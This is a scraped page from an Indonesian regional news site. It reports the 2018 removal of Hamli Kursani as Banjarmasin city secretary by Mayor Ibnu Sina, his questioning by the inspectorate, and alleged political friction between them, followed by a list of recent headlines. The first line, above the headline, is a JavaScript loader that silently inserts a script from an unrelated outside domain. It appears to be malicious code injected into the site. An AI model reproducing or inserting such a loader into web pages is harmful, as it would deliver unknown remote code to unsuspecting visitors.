(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pencopotan Hamli dari Sekdako Banjarmasin Dilatari Konflik dengan Walikota?


BANJARMASIN, Usai dicopot dari jabatan Sekretaris Daerah Kota (Sekdako) Banjarmasin melalui Surat Keputusan (SK) Walikota Ibnu Sina No 880/002-KUM.DIS/BKD,DIKLAT/2018 tertanggal 10 April 2018, Hamli Kursani menjalani pemeriksaan dari Inspektorat Banjarmasin, Senin (16/4). Selama lebih tiga jam, mulai pukul 09.30-13.00 Wita, Hamli disodori sembilan pertanyaan. Lalu, benarkah motif pencopotan tersebut dilatari konflik internal dengan Walikota Ibnu Sina?

Selama ini pihak Pemko Banjarmasin enggan mengungkap indisipliner seperti apa yang menjadi alasan pencopotan Hamli. Mengingat, untuk memutuskan memberhentikan sementara seorang Sekdako sebagai pejabat tertinggi aparatur sipil negara (ASN) di Kota Banjarmasin, tentunya Walikota Ibnu Sina memiliki alasan yang sangat kuat. Kecil kemungkinan, jika indisipliner yang dimaksud sekadar urusan adminitrasi pemerintahan atau lainnya.

Nah, lalu apa? Informasi yang beredar pencopotan Hamli memang berlatar ketidak sepahaman dengan Walikota Ibnu Sina. Dan SK pencopotan tersebut merupakan ‘puncak gunung es’ dari sejumlah konflik yang terjadi sebelumnya.

Salah satunya, terkait ‘ancaman’ untuk melawan Walikota Ibnu Sina dalam pemilihan Walikota jika dirinya akan diberhentikan dari jabatannya sebagai Sekdako Banjarmasin. Termasuk statemen yang terkait siapa yang akan ditangkap lebih dulu jika nanti ada kasus penangkapan.

Usai pemeriksaan selama tiga jam tersebut, Hamli mengatakan bahwa salah satu dari sembilan pertanyaan yang disampaikan penyidik adalah terkait statemen tersebut. “Ya, ada beberapa ucapan yang dikonfirmasi penyidik. Seperti ucapan ‘amun ada betangkapan (apabila ada penangkapan), kita lihat siapa yang ditangkap lebih dulu’, dan juga ‘bila aku diampihi aku bacalon di Golkar jadi caleg kemudian becalon jua jadi walikota berpasangan dengan anak Pak Muhidin dan kena aku lawani Pak Wali tu (Jika saya diberhentikan, saya akan maju menjadi caleg dari Partai Golkar kemudian juga akan mencalonkan menjadi Walikota berpasangan dengan anak Pak Muhidin—mantan Walikota sebelumnya, red. Dan nanti aku akan melawan Pak Wali itu). Perkataan ini yang dikonfirmasi penyidik, apakah benar itu ucapan saya atau bukan,” terang Hamli.

Jika ‘tantangan politik’ tersebut tersebut benar adanya, bisa jadi membuat Walikota Ibnu Sina gerah. Apalagi, Ibnu Sina memang masih memiliki kesempatan untuk kembali bertarung sebagai incumbent jika masa pemerintahannya nanti berakhir pada 2021 nanti. Disamping status Hamli yang masih PNS yang mestinya tidak terlalu masuk pada urusan politik praktis. Tapi, juga akan menjadi terburu-buru jika statement tersebut ditanggapi terlalu serius oleh Ibnu Sina. Mengingat proses politik masih sangat panjang dan bisa berubah sewaktu-waktu.

Hamli memang enggan merinci pertanyaan yang disampaikan inspektorat. Karena ada hal ang bersifat rahasia dan tidak bisa diungkap ke publik. “Jawaban dari pertanyaan lebih bersifat benar atau salah, iya atau tidak. Hal ini agar tidak membocorkan dokumen, jadi untuk jawaban tidak bisa saya ekspos,” katanya.

Sebelumnya, Hamli mengaku bingung apa alasan pencopotan terhadap dirinya.

“Sebab saya juga merupakan Ketua Majelis Pertimbangan Penjatuhan Hukuman Disiplin ASN Pemkot Banjarmasin. Jika ada pelapor dan alat bukti pelanggaran, seharusnya bisa dikonfirmasi kepada saya,” ujarnya beberapa waktu lalu.

Terkait dugaan pelanggaran indisipliner yang dituduhkan kepadanya hingga berimbas pada munculnya SK pencopotan, Hamli juga mengaku adanya kejanggalan. Mengingat pemberian sanksi terhadap ASN harus melalui proses pemeriksaan terlebih dahulu. Dimana hasil pemeriksaan ini selanjutnya diserahkan ke Majelis Pertimbangan Penjatuhan Disiplin. “Nah, pelanggaran disiplin itu sendiri ada kategori ringan, sedang, dan berat. Tapi itu pun harus diawali dengan teguran dan bertahap. Itu yang saya pahami,” jelasnya.

Hamli merasa keputusan pembebastugasan sementara dirinya dengan alasan memperlancar pemeriksaan mengada-ada. Kalaupun ia tetap di Sekdako, tidak akan memberatkan pemeriksaan. Hamli siap memenuhi panggilan kapanpun diperiksa. “Kalau seperti ini sama saja pencemaran nama baik,” tegasnya.


Page: 1 2

Desy Arfianty

Recent Posts

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

3 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

15 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

16 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

16 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

23 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

1 hari ago

This website uses cookies.